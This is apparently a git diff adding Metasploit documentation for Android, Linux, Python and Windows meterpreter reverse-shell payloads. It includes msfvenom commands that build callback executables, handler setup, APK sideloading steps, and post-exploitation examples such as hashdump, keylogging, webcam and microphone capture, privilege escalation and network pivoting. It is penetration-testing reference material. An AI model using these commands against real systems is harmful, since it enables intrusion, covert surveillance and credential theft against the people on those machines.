platform-tools](http://developer.android.com/sdk/installing/index.html) to run, as well as [Java](https://java.com/en/download/). + +To use this, follow these steps: + +1. Start the Android Emulator +2. Generate the Android payload as an APK. +3. In msfconsole, start a handler for android/meterpreter/reverse_tcp +4. Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +The the script will do something like this: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk + adding: META-INF/ANDROIDD.SF + adding: META-INF/ANDROIDD.RSA + signing: classes.dex + signing: AndroidManifest.xml + signing: resources.arsc +Failure +1562 KB/s (10715 bytes in 0.006s) + pkg: /data/local/tmp/android.apk +Success +rm failed for -f, Read-only file system +Starting: Intent { act=android.intent.action.MAIN cmp=com.metasploit.stage/.MainActivity } +``` + +Back in msfconsole, you should receive a session: + +``` +[*] Started reverse TCP handler on 192.168.1.199:4444 +[*] Starting the payload handler... +[*] Sending stage (62432 bytes) to 192.168.1.199 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.199:49178) at 2016-03-08 13:00:10 -0600 + +meterpreter > +``` + +**Uploading APK to a real Android device using install_msf_apk.sh** + +On the Android device, make sure to enable Developer Options. To do this: + +1. Go to Settings -> About -> Software Information +2. Tap on the Build Number section a couple of times. It should unlock Developer Options. +3. Go back to the Settings page, you should see Developer Options. + +Under Developer Options, make sure to: + +* Enable USB debugging +* Disable Verify apps via USB +* Open a terminal, and type: ```adb devices```. On your Android device, you should see a prompt + asking you to allow the computer for debugging, click OK on that. +* Do: ```adb devices``` again, adb should now have access. + +Run the installer script like this from a terminal: + +``` +$ tools/exploit/install_msf_apk.sh /tmp/android.apk +``` + +And you should get a session. + + + +**Uploading APK from a Web Server** + +One way to upload an APK to Android without adb is by hosting it from a web server. To do this, +you must make sure to allow to trust "Unknown sources". The way to do this varies, but normally +it's something like this: Settings -> Security -> Check "Unknown Sources" + +Once you have that changed, you'll need to: + +1. Generate the APK payload. +2. Start a web server from the directory where the payload is: ```ruby -run -e httpd . -p 8181``` +3. On your Android device, open a browser, and download the APK. +4. You should be able to find the APK from the Downloads folder, install it. +5. After installation, you will have to manually execute it. + +**Reconnect Android Meterpreter from the Browser Remotely** + +When you have the APK payload installed on your Android device, another trick to reconnect it is to +launch an intent from a browser. An intent is simply a term in Android development that means "an operation to be performed." + +Here's how you do this: + +1. In msfconsole, start a multi/handler for android/meterpreter/reverse_tcp as a background job. +2. Do: ```auxiliary/server/android_browsable_msf_launch```. +3. Set the URIPATh if needed. +4. Do: ```run```. At this point, the web server should be up. +5. On your Android device, open the native web browser, and go the URL generated by the auxiliary + module. +6. The Android handler should get a session like the following demo: + +``` +msf > use exploit/multi/handler +msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_tcp +PAYLOAD => android/meterpreter/reverse_tcp +msf exploit(handler) > set LHOST 192.168.1.199 +LHOST => 192.168.1.199 +msf exploit(handler) > set EXITONSESSION false +EXITONSESSION => false +msf exploit(handler) > run -j +[*] Exploit running as background job. + +[*] Started reverse TCP handler on 192.168.1.199:4444 +msf exploit(handler) > [*] Starting the payload handler... + +msf exploit(handler) > use auxiliary/server/android_browsable_msf_launch +msf auxiliary(android_browsable_msf_launch) > set URIPATH /test +URIPATH => /test +msf auxiliary(android_browsable_msf_launch) > run + +[*] Using URL: http://0.0.0.0:8080/test +[*] Local IP: http://192.168.1.199:8080/test +[*] Server started. +[*] Sending HTML... +[*] Sending stage (62432 bytes) to 192.168.1.207 +[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.207:47523) at 2016-03-08 15:09:25 -0600 +``` diff --git a/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..528253d665 --- /dev/null +++ b/documentation/modules/payload/linux/x86/meterpreter/reverse_tcp.md @@ -0,0 +1,318 @@ +linux/x86/meterpreter/reverse_tcp is the most pouplar payload against the Linux platform. It allows +you to remotely take over the compromised system, having control of the file system, collect +sensitive information such as credentials using post modules, etc. + +linux/x86/meterpreter/reverse_tcp is also the default payload for most Linux exploits. + +## Vulnerable Application + +linux/x86/meterpreter/reverse_tcp should work on either 32 or 64-bit Linux platforms. + +## Deploying linux/x86/meterpreter/reverse_tcp + +linux/x86/meterpreter/reverse_tcp can be used in two different ways. + +**As an exploit payload** + +Many Linux exploits support native payloads, but not always. To check this, you can use the ```info``` +command on the exploit you want to use: + +``` +msf exploit(lsa_transnames_heap) > info + + Name: Samba lsa_io_trans_names Heap Overflow + Module: exploit/linux/samba/lsa_transnames_heap + Platform: Linux + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Good + Disclosed: 2007-05-14 +... +``` + +If the platform field includes Linux, then that means you can use linux/x86/meterpreter/reverse_tcp +and other Linux payloads. + +Sometimes, you need to select a specific target to be able to use a native Linux payload. To check +this, do: + +``` +show targets +``` + +If there is a Linux target, use that: + +``` +set TARGET [index] +``` + +To actually set the payload: + +1. In msfconsole, load the exploit. +2. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp``` +3. Set the ```LHOST``` option, which is the [IP the payload should connect back to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit). +4. Run the exploit + +**As a standalone executable** + +To use linux/x86/meterpreter/reverse_tcp as an executable, first you can generate it with msfvenom: + +``` +./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f elf -o /tmp/payload.bin +``` + +Before sending the exectauble to the victim machine, you need to set up the handler on your end: + +1. Start msfconsole +2. Do: ```use exploit/multi/handler``` +3. Do: ```set PAYLOAD linux/x86/meterpreter/reverse_tcp``` +4. Do: ```set LHOST [Your IP]``` +5. Do: ```run``` + +And that should start the listener. When the victim runs the malicious exectauble, you should +receive a session: + +``` +msf exploit(handler) > run + +[*] Started reverse TCP handler on 172.16.23.1:4444 +[*] Starting the payload handler... +[*] Transmitting intermediate stager for over-sized stage...(105 bytes) +[*] Sending stage (1495599 bytes) to 172.16.23.182 +[*] Meterpreter session 1 opened (172.16.23.1:4444 -> 172.16.23.182:45009) at 2016-07-06 22:40:35 -0500 + +meterpreter > +``` + + +## Important Basic Commands + +Here is a list of some of the common commands you might need while using the Linux Meterpreter: + +**pwd** + +The ```pwd``` command tells you the current working directory. For example: + +``` +meterpreter > pwd +/home/sinn3r/Desktop +``` + +**cd** + +The cd command allows you to change directories. Example: + +``` +meterpreter > cd /tmp +``` + +**cat** + +The cat command allows you to see the content of a file: + +``` +meterpreter > cat /tmp/data.txt +hello world +``` + +**upload** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/data.bin /home/sinn3r/Desktop +[*] uploading : /tmp/data.bin -> /home/sinn3r/Desktop +[*] uploaded : /tmp/data.bin -> /home/sinn3r/Desktop/data.bin +meterpreter > +``` + +**download** + +The ```download``` command allows you to download a file from the remote target to your machine. For example: + +``` +meterpreter > download /home/sinn3r/Desktop/data.bin /tmp +[*] downloading: /home/sinn3r/Desktop/data.bin -> /tmp/data.bin +[*] download : /home/sinn3r/Desktop/data.bin -> /tmp/data.bin +``` + +**ifconfig/ipconfig** + +```ifconfig``` and ```ipconfig``` are actually the same thing. They allow you to see the network +interfaces on the remote machine. + +**getuid** + +The getuid command tells you the current user that Meterpreter is running on. For example: + +``` +meterpreter > getuid +Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000 +``` + +**execute** + +The ```execute``` command allows you to execute a command or file on the remote machine. +For example: + +``` +meterpreter > execute -f echo -a "hello > /tmp/hello.txt" +Process 5292 created. +``` + +**ps** + +The ```ps``` command lists the running processes on the remote machine. + +**shell** + +The shell command allows you to interact with the remote machine's terminal (or shell). For +example: + +``` +meterpreter > shell +Process 5302 created. +Channel 6 created. +$ +``` + +If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel. + +**sysinfo** + +The sysinfo command shows you basic information about the remote machine. Such as: + +* Computer name +* OS name +* Architecture +* Meterpreter type + +For example: + +``` +meterpreter > sysinfo +Computer : sinn3r-virtual-machine +OS : Linux sinn3r-virtual-machine 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 (i686) +Architecture : i686 +Meterpreter : x86/linux +meterpreter > +``` + +**Other commands** + +For a complete list of Linux Meterpreter commands, do the following at the prompt: + +``` +meterpreter > help +``` + + +## Using a Post module + +One of the best things about Meterprter is you have access to a variety of post modules that +"shell" sessions might not have. Post modules provide you with more capabilities to collect data +from the remote machine automatically. For example, stealing credentials from the system or +third-party applications, or modify settings, etc. + +To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following +is an example of collecting Linux hashes using post/linux/gather/hashdump: + +``` +meterpreter > run post/linux/gather/hashdump + +[+] root:$6$cq9dV0jD$DZNrPKKIzcJaJ1r1xzdePEJTzn5f2V5lm9CnSdkMRPJfYy7QVx2orpzlf1XXBbIRZs7kT9CmYEMApfUIrWZsj/:0:0:root:/root:/bin/bash +[+] sinn3r:$6$S5lRz0Ji$bS0rOko3EVsAXwqR1rNcE/EhpnezmKH08Yioxyz/gLZAGh3AoyV5qCglvHx.vSINJNqs1.xhJix3pWX7jw8n0/:1000:1000:sinn3r,,,:/home/sinn3r:/bin/bash +[+] Unshadowed Password File: /Users/wchen/.msf4/loot/20160707112433_http_172.16.23.182_linux.hashes_845236.txt +meterpreter > +``` + +Note that in order to collect Linux hashes, Meterpreter needs to run as root. + +## Using the Post Exploitation API in IRB + +To enter IRB, do the following at the Meterpreter prompt: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in Meterpreter allows you to control or retrieve information about the host. For +example, this allows you to get the current privilege our payload is running as: + +``` +>> client.sys.config.getuid +=> "uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000" +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method +to inspect it: + +``` +>> client.inspect +``` + +You can also use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To review the source of the method, you can use the #source_location method. For example, say we +want to see the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second is the line number of the +method. + +## Routing Through the portfwd Commands + +The ```portfwd``` command allows you to talk to a remote service like it's local. For example, if you +cannot talk to the blocked HTTP service remotely on the compromised host due to whatever reason, +then you can use portfwd to establish that tunnel: + +``` +meterpreter > portfwd add -l 8000 -p 8000 -r 172.16.23.182 +[*] Local TCP relay created: :8000 <-> 172.16.23.182:8000 +``` + +And then talk to it like it's a local service: + +``` +msf auxiliary(http_version) > run + +[*] 127.0.0.1:8000 SimpleHTTP/0.6 Python/2.7.6 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(http_version) > +``` + +## Routing Through msfconsole + +The ```route``` command from the msf prompt can also be used like portfwd, but it also allows you +to reach out to other networks that the compromised host is connected to. + +To use ```route```, first look at the ipconfig/ifconfig output and determine your pivot point: + +``` +meterpreter > ipconfig +``` + +Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, and establish that route: + +``` +msf > route add 192.168.1.0 255.255.255.0 1 +``` + +At that point, you should have a working pivot. You can use other Metasploit modules to explore +or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to +allow other third-party tools to do the same. diff --git a/documentation/modules/payload/python/meterpreter/reverse_tcp.md b/documentation/modules/payload/python/meterpreter/reverse_tcp.md new file mode 100644 index 0000000000..fb47ba374e --- /dev/null +++ b/documentation/modules/payload/python/meterpreter/reverse_tcp.md @@ -0,0 +1,358 @@ +python/meterpreter/reverse_tcp allows you to remotely control the compromised system. It is a +unique payload to the Metasploit Framework, because it is cross-platform. And since Python is +a very popular programming language, some operating systems such as Ubuntu even support it +by default. + +When using an exploit, using a cross-platform payload like python/meterpreter/reverse_tcp also +means you don't need to worry about which target/platform to select, the payload should work +for all of them. + +## Vulnerable Application + +The Python Meterpreter is suitable for any systems that support Python. Some operating +systems such as Ubuntu, Debian, Arch Linux, and OS X have it by default. The Python +Meterpreter supports the CPython implementation versions 2.5-2.7 and 3.1+. + +## Deploying python/meterpreter/reverse_tcp + +python/meterpreter/reverse_tcp is typically used in two different ways. + +First, it can be used with an exploit as long as the Python platform is supported. This sort +of information can usually be found when you use the ```info``` command like this: + +``` +msf exploit(ms14_064_packager_python) > info + + Name: MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python + Module: exploit/windows/fileformat/ms14_064_packager_python + Platform: Python + Privileged: No + License: Metasploit Framework License (BSD) + Rank: Excellent + Disclosed: 2014-11-12 + +.... more info here ... +``` + +Or, you can check the exploit's target list by doing ```show targets```, there might be Python +on the list. + +If your exploit supports Python, here is how to load it: + +1. In msfconsole, select the exploit. +2. Configure the options for that exploit. +3. Do: ```set PAYLOAD python/meterpreter/reverse_tcp``` +4. Set the ```LHOST``` datastore option, which is the [IP that the payload should connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit). +5. Do ```exploit```. If the exploit is successful, it should execute that payload. + +Another way to use the Python Meterpreter is to generate it as a Python file. Normally, you would +want to do this with msfvenom, like this: + +``` +./msfvenom -p python/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/python.py +``` + +## Important Basic Commands + +Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the Python Meterpreter +has less commands, but here's a list of all the common ones you might need: + +**pwd command** + +The ```pwd``` command tells you the current working directory. For example: + +``` +meterpreter > pwd +/Users/sinn3r/Desktop +``` + +**cd command** + +The ```cd``` command allows you to change directories. Example: + +``` +meterpreter > cd /Users/sinn3r/Desktop +meterpreter > pwd +/Users/sinn3r/Desktop +``` + +**cat command** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat /tmp/data.txt +Hello World! +``` + +**upload command** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/data.txt /Users/sinn3r/Desktop +[*] uploading : /tmp/data.txt -> /Users/sinn3r/Desktop +[*] uploaded : /tmp/data.txt -> /Users/sinn3r/Desktop/data.txt +meterpreter > +``` + +**download command** + +The ```download``` command allows you to download a file from the remote target to your machine. +For example: + +``` +meterpreter > download /Users/sinn3r/Desktop/data.txt /tmp/pass.txt +[*] downloading: /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt +[*] download : /Users/sinn3r/Desktop/data.txt -> /tmp/pass.txt/data.txt +meterpreter > +``` + +**search command** + +The ```search``` command allows you to find files on the remote file system. For example, +this shows how to find all text files in the current directory: + +``` +meterpreter > search -d . -f *.txt +Found 2 results... + .\pass.txt (13 bytes) + ./creds\data.txt (83 bytes) +meterpreter > +``` + +Without the ```-d``` option, the command will attempt to search in all drives. + +The ```-r``` option for the command allows you to search recursively. + + +**getuid command** + +The ```getuid``` command tells you the current user that Meterpreter is running on. For example: + +``` +meterpreter > getuid +Server username: root +``` + +**execute command** + +The ```execute``` command allows you to execute a command or file on the remote machine. + +The following examples uses the command to create a text file: + +``` +meterpreter > execute -f echo -a "hello > /tmp/hello.txt" +Process 73642 created. +meterpreter > +``` + +**ps command** + +The ```ps``` command lists the running processes on the remote machine. + +**shell command** + +The ```shell``` command allows you to interact with the remote machine's command prompt (or shell). +For example: + +``` +meterpreter > shell +Process 74513 created. +Channel 2 created. +sh-3.2# +``` + +If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel. + +**sysinfo** + +The ```sysinfo``` command shows you basic information about the remote machine. Such as: + +* Computer name +* OS name +* Architecture +* Meterpreter type + +## Using a Post Module + +One of the best things about Meterprter is you have access to a variety of post modules that +"shell" sessions might not have. Post modules provide you with more capabilities to collect +data from the remote machine automatically. For example, stealing credentials from the system +or third-party applications, or modify settings, etc. + +To use a post module from the Meterpreter prompt, simply use the ```run``` command. The following +is an example of collecting OS X keychain information using the enum_keychain post module: + +``` +meterpreter > run post/osx/gather/enum_keychain + +[*] The following keychains for root were found: + "/Users/sinn3r/Library/Keychains/login.keychain" + "/Library/Keychains/System.keychain" +[+] 192.168.1.209:58023 - Keychain information saved in /Users/sinn3r/.msf4/loot/20160705211412_http_192.168.1.209_macosx.keychain._271980.txt +meterpreter > +``` + +## Using the Post Exploitation API in IRB + +To enter IRB, do the following at the Meterpreter prompt: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in Meterpreter allows you to control or retrieve information about the host. For +example, this allows you to get the current privilege our payload is running as: + +``` +>> client.sys.config.getuid +=> "root" +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method +to inspect it: + +``` +>> client.inspect +``` + +You can also use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To review the source of the method, you can use the #source_location method. For example, say we +want to see the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/sinn3r/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second is the line number of +the method. + +**Railgun** + +If you are familiar with using the post exploitation API for Windows, you probably know about +Railgun. Unfortunately, Railgun is not available in Python Meterpreters. + +## Switching to a Native Meterpreter + +The Python Meterpreter currently does not quite have the same strength as a native Meterpreter, +therefore there are times you will want to migrate to a native one to expose yourself with more +features. + +There are many ways to migrate to a native Meterpreter, some common approaches: + +**Example 1: Upload and Execute** + +Step 1: Produce a native Meterpreter, such as: + +``` +./msfvenom -p windows/meterpreter/reverse_tcp LHOST=[IP] LPORT=5555 -f exe -o /tmp/native.exe +``` + +Step 2: Start another handler for the native payload: + +``` +./msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST [IP]; set LPORT 5555; run" +``` + +Step 3: Upload the native via the Python Meterpreter session: + +``` +meterpreter > upload /tmp/native.exe C:\\Users\\sinn3r\\Desktop +[*] uploading : /tmp/native.exe -> C:\Users\sinn3r\Desktop +[*] uploaded : /tmp/native.exe -> C:\Users\sinn3r\Desktop\native.exe +meterpreter > +``` + +Step 4: Execute the native payload: + +``` +meterpreter > execute -H -f C:\\Users\\sinn3r\\Desktop\\native.exe +Process 2764 created. +``` + +And then your other handler (for the native payload) should receive that session: + +``` +[*] Starting the payload handler... +[*] Sending stage (957999 bytes) to 192.168.1.220 +[*] Meterpreter session 1 opened (192.168.1.209:5555 -> 192.168.1.220:49306) at 2016-07-05 21:48:04 -0500 + +meterpreter > sysinfo +Computer : WIN-6NH0Q8CJQVM +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +**Example 2: Using exploit/multi/script/web_delivery** + +Another way to migrate to a native Meterpreter is by using the exploit/multi/script/web_delivery +module. To learn how, please read the module documentation for that module. + +## Routing through the portfwd command + +The portfwd command allows you to talk to a remote service like it's local. For example, if you +cannot talk to the SMB service remotely on the compromised host because it is firewalled, then +you can use portfwd to establish that tunnel: + +``` +meterpreter > portfwd add -l 445 -p 445 -r 192.168.1.220 +[*] Local TCP relay created: :445 <-> 192.168.1.220:445 +meterpreter > portfwd + +Active Port Forwards +==================== + + Index Local Remote Direction + ----- ----- ------ --------- + 1 0.0.0.0:445 192.168.1.220:445 Forward +``` + +And then talk to it like it's a local service: + +``` +msf auxiliary(smb_version) > run + +[*] 127.0.0.1:445 - Host is running Windows 7 Ultimate SP1 (build:7601) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +## Routing through msfconsole + +The route command from the msf prompt can also be used to bypass firewall like portfwd, but it also +allows you to connect to hosts on a different network through the compromised machine. + +To do that, first off, look at the ifconfig/ipconfig output and determine your pivot point: + +``` +meterpreter > ipconfig +``` + +Make sure you know the subnet, netmask, and the Meterpreter/session ID. Return to the msf prompt, +and establish that route: + +``` +msf > route add 192.168.1.0 255.255.255.0 1 +``` + +At that point, you should have a working pivot. You can use other Metasploit modules to explore +or exploit more hosts on the network, or use auxiliary/server/socks4a and [Proxychains](http://proxychains.sourceforge.net/) to allow +other third-party tools to do the same. diff --git a/documentation/modules/payload/windows/meterpreter/reverse_https.md b/documentation/modules/payload/windows/meterpreter/reverse_https.md new file mode 100644 index 0000000000..22337f4d3a --- /dev/null +++ b/documentation/modules/payload/windows/meterpreter/reverse_https.md @@ -0,0 +1,509 @@ +windows/meterpreter/reverse_https is a unique Windows payload for Metasploit Framework. It +is capable of doing things like remotely control the file system, sniff, keylog, hashdump, +pivoting, run extensions, etc. But the real strength of this is the way it talks to the +attacker. + +Instead of a stream-based communication model (tied to a specific TCP session), the stager +provides a packet-based transaction system instead. You know, kind of like a botnet that we +see today. The use of HTTPS also makes the payload communication a little bit harder to detect. + +## Vulnerable Application + +This Meterpreter payload is suitable for the following environments: + +* Windows x64 +* Windows x86 + +## Deploying windows/meterpreter/reverse_https + +windows/meterpreter/revese_https can be used in two different ways. + +**As an exploit payload** + +To check if windows/meterpreter/reverse_https is compatible with the exploit or not, first you can +use the ```info``` command on the exploit you want to use: + +``` +msf exploit(ms08_067_netapi) > info + + Name: MS08-067 Microsoft Server Service Relative Path Stack Corruption + Module: exploit/windows/smb/ms08_067_netapi + Platform: Windows + Privileged: Yes + License: Metasploit Framework License (BSD) + Rank: Great + Disclosed: 2008-10-28 + +... +``` + +If the platform field includes Windows, then you can use windows/meterpreter/reverse_https as the +payload. + +Depending on the module, sometimes you have to select a specific target by first checking the +target list, like the following: + +``` +show targets +``` + +If there is a Windows target, use that: + +``` +set TARGET [index] +``` + +To actually set the payload: + +1. In msfconsole, load the exploit. +2. Do: ```set PAYLOAD windows/meterpreter/reverse_https``` +3. Set the ```LHOST``` OPTION WHICH, which [IP the same the payload connect to](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-a-reverse-shell-in-Metasploit). +4. Run th exploit + +**As a standalone** + +To generate windows/meterpreter/reverse_https, you can do this from msfvenom: + +``` +./msfvenom -p windows/meterpreter/reverse_https lhost=172.16.23.1 lport=4444 -f exe -o /tmp/https.exe +``` + +## Important Basic Commands + +**pwd command** + +The ```pwd``` command allows you to see the current directory you're in on the remote target. +Example: + +``` +meterpreter > pwd +C:\Users\sinn3r\Desktop +``` + +**cd command** + +The ```cd``` command allows you to change directories. Example: + +``` +meterpreter > cd C:\\ +``` + +**cat command** + +The ```cat``` command allows you to see the content of a file: + +``` +meterpreter > cat data.txt +Hello World +``` + +**upload command** + +The ```upload``` command allows you to upload a file to the remote target. For example: + +``` +meterpreter > upload /tmp/payload.exe C:\\Users\\sinn3r\\Desktop +[*] uploading : /tmp/payload.exe -> C:\Users\sinn3r\Desktop +[*] uploaded : /tmp/payload.exe -> C:\Users\sinn3r\Desktop\payload.exe +meterpreter > +``` + +The ```-r``` option for the command also allows you to upload recursively. + +**download command** + +The ```download``` command allows you download a file from the remote target to your machine. +For example: + +``` +meterpreter > download C:\\Users\\sinn3r\\Desktop\\password.txt +[*] downloading: C:\Users\sinn3r\Desktop\password.txt -> password.txt +[*] download : C:\Users\sinn3r\Desktop\password.txt -> password.txt +``` + +**search command** + +The ```search``` command allows you to find files on the remote file system. For example, this +demonstrates how to find all text files in the current directory: + +``` +meterpreter > search -d . -f *.txt +Found 1 result... + .\password.txt (11 bytes) +``` + +Note that without the ```-d``` option, the command will attempt to search in all drives. + +The ```-r``` option for the commands allows you to search recursively. + +**ifconfig/ipconfig command** + +The ```ifconfig``` command displays the network interfaces on the remote machine: + +``` +meterpreter > ipconfig + +Interface 1 +============ +Name : Software Loopback Interface 1 +Hardware MAC : 00:00:00:00:00:00 +MTU : 4294967295 +IPv4 Address : 127.0.0.1 +IPv4 Netmask : 255.0.0.0 +IPv6 Address : ::1 +IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff + + +Interface 2 +============ +Name : Intel(R) PRO/1000 MT Network Connection +Hardware MAC : 00:0c:29:eb:33:d9 +MTU : 1500 +IPv4 Address : 172.16.23.185 +IPv4 Netmask : 255.255.255.0 +IPv6 Address : fe80::5911:c25:bd50:5a6d +IPv6 Netmask : ffff:ffff:ffff:ffff:: + +meterpreter > +``` +The command ```ipconfig``` is an alias for ```ifconfig```. + +**getuid command** + +The ```getuid``` command shows you the current user that the payload is running as: + +``` +meterpreter > getuid +Server username: WIN-6NH0Q8CJQVM\sinn3r +``` + +**execute command** + +The ```execute``` command allows you to execute a command or file on the remote machine. + +The following example will spawn a calculator: + +``` +meterpreter > execute -f calc.exe +Process 2020 created. +``` + +**ps command** + +The ```ps``` command lists the running processes on the remote machine. + +**shell command** + +The ```shell``` command allows you to interact with the remote machine's command prompt. Example: + +``` +meterpreter > shell +Process 2872 created. +Channel 1 created. +Microsoft Windows [Version 6.1.7601] +Copyright (c) 2009 Microsoft Corporation. All rights reserved. + +C:\Users\sinn3r\Desktop> +``` + +**sysinfo command** + +The ```sysinfo``` command shows you basic information about the remote machine. Example: + +``` +meterpreter > sysinfo +Computer : WIN-6NH0Q8CJQVM +OS : Windows 7 (Build 7601, Service Pack 1). +Architecture : x86 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/win32 +meterpreter > +``` + +**keyscan command** + +The ```keyscan_start``` command starts the keylogging feature on the remote machine. + +**keyscan_dump command** + +The ```keyscan_dump``` command is a keylogger feature. You must use the ```keyscan_start``` command +before using this. Example: + +``` +meterpreter > keyscan_start +Starting the keystroke sniffer... +meterpreter > keyscan_dump +Dumping captured keystrokes... +hello world! +meterpreter > +``` + +**keyscan_stop command** + +The ```keyscan_stop``` command stops the keylogger. + +**screenshot command** + +The ```screenshot``` command takes a screenshot of the target machine. + +**webcan_list command** + +The ```webcam_list``` commands shows you a list of webcams that you can control. You'll +probably want to use this first before using any other webcam commands. + +**webcam_snap command** + +The ```webcam_snap``` commands uses the selected webcam to take a picture. + +**webcam_stream command** + +The ```webcam_stream``` command basically uses the ```webcam_snap``` command repeatedly to create +the streaming effect. There is no sound. + +**record_mic command** + +The ```record_mic``` command captures audio on the remote machine. + +**getsystem command** + +The ```getsystem``` command attempts to elevate your privilege on the remote machine with one of +these techniques: + +* Named pipe impersonation (in memory) +* Named pipe impersonation (dropper) +* Token duplication (in memory) + +Example: + +``` +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +``` + +**hashdump command** + +The ```hashdump``` commands allows you to dump the Windows hashes if there are the right privileges. +For sxample: + +``` +meterpreter > hashdump +Administrator:500:e39baff0f2c5fd4e93e28745b8bf4ba6:f4974ee4a935ee160a927eafbb3f317f::: +Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: +HelpAssistant:1000:92a84e332fa4b09e9850257ad6826566:8fb9a6e155fd6e14a16c37427b68bbb4::: +root:1003:633c097a37b26c0caad3b435b51404ee:f2477a144dff4f216ab81f2ac3e3207d::: +SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:e09fcdea29d93203c925b205640421f2::: +``` + +**detach command** + +The ```detach``` command allows you to temporarily disconnect the Meterpreter session without +actually losing it, as the following example demonstrates: + +``` +meterpreter > detach + +[*] 172.16.23.185 - Meterpreter session 1 closed. Reason: User exit +msf exploit(handler) > run + +[*] Started HTTPS reverse handler on https://172.16.23.1:4444 +[*] Starting the payload handler... +[*] https://172.16.23.1:4444 handling request from 172.16.23.185; (UUID: utvmhcay) Attaching orphaned/stageless session... +"https://172.16.23.1:4444/56uhMwqiB8B0s3WyIzN-3wEo5JA4AcwGUum6UAAWxN2MEy0-Tw8f0GH7EOK-uTte7O6WXt8y9KRTiQX88Fn0CNy5yxFMndf1NPfRXelG6se/" +[*] Meterpreter session 2 opened (172.16.23.1:4444 -> 172.16.23.185:49207) at 2016-07-11 11:38:21 -0500 + +meterpreter > +``` + +By default, the Meterpreter session will continue to reach back to you for five minutes. If it +is unable to connect back after that, it will terminate. You can extend this by setting the +```SessionCommunicationTimeout``` option to your choice. Setting this option to 0 ensures that +your session will reattach whenever the target comes back online, as long as the payload handler +is running. + + +## Using a Post Module + +One of the best things about Meterpreter is you have access to a variety of post exploitation +modules, specifically for the multi and Windows categories. Post modules provide you with more capabilities to +collect data from the remote machine automatically. For example, you can steal passwords +from popular applications and enumerate or modify system settings. + +To use a post module from the Meterpreter prompt, simply use the ```run``` command: + +``` +meterpreter > run post/windows/gather/checkvm + +[*] Checking if WIN-6NH0Q8CJQVM is a Virtual Machine ..... +[*] This is a VMware Virtual Machine +meterpreter > +``` + +It is also possible to run a post module via multiple Meterpreter sessions. To learn how, load +the specific post module you wish to run, and enter ```info -d``` to see the basic usage in the +documentation. + +## Using the Post Exploitation API in IRB + +To enter IRB, do the following at the Meterpreter prompt: + +``` +meterpreter > irb +[*] Starting IRB shell +[*] The 'client' variable holds the meterpreter client + +>> +``` + +**The client object** + +The client object in Meterpreter's IRB allows you control or retrieve information about the host. For example, this demonstrates how to obtain the current privilege we're running the payload as: + +```ruby +>> client.sys.config.getuid +``` + +To explore the client object, there are a few tricks. For example, you can use the #inspect method to inspect it: + +``` +>> client.inspect +``` + +You can use the #methods method to see what methods you can use: + +``` +>> client.methods +``` + +To find the source of the method, you can use the #source_location method. For example, say I want to find the source code for the #getuid method: + +``` +>> client.sys.config.method(:getuid).source_location +=> ["/Users/user/rapid7/msf/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb", 32] +``` + +The first element of the array is the location of the file. The second element is the line number of the method. + +## Using Railgun 